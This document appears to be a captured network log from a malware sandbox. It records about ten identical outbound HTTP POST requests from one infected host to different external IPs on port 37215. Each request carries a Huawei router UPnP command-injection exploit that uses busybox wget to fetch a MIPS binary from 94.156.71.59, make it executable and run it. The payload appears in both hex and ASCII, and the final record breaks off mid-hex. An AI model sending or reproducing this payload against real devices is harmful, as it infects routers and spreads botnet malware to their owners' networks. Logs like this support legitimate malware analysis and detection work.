Jun 10, 2024 15:38:02.741975069 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.13	56570	41.43.111.177	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.743037939 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.13	45604	197.100.179.179	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.745716095 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.13	48954	41.242.83.117	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.748142958 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.13	45224	197.93.109.120	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.749573946 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.13	48216	41.96.242.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.750600100 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.13	53884	197.255.245.2	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.751686096 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.13	57264	197.69.40.39	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.752803087 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.13	32970	41.102.226.8	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.753767014 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.13	59676	197.243.121.228	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.754765987 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.13	37358	156.165.101.234	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.756023884 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 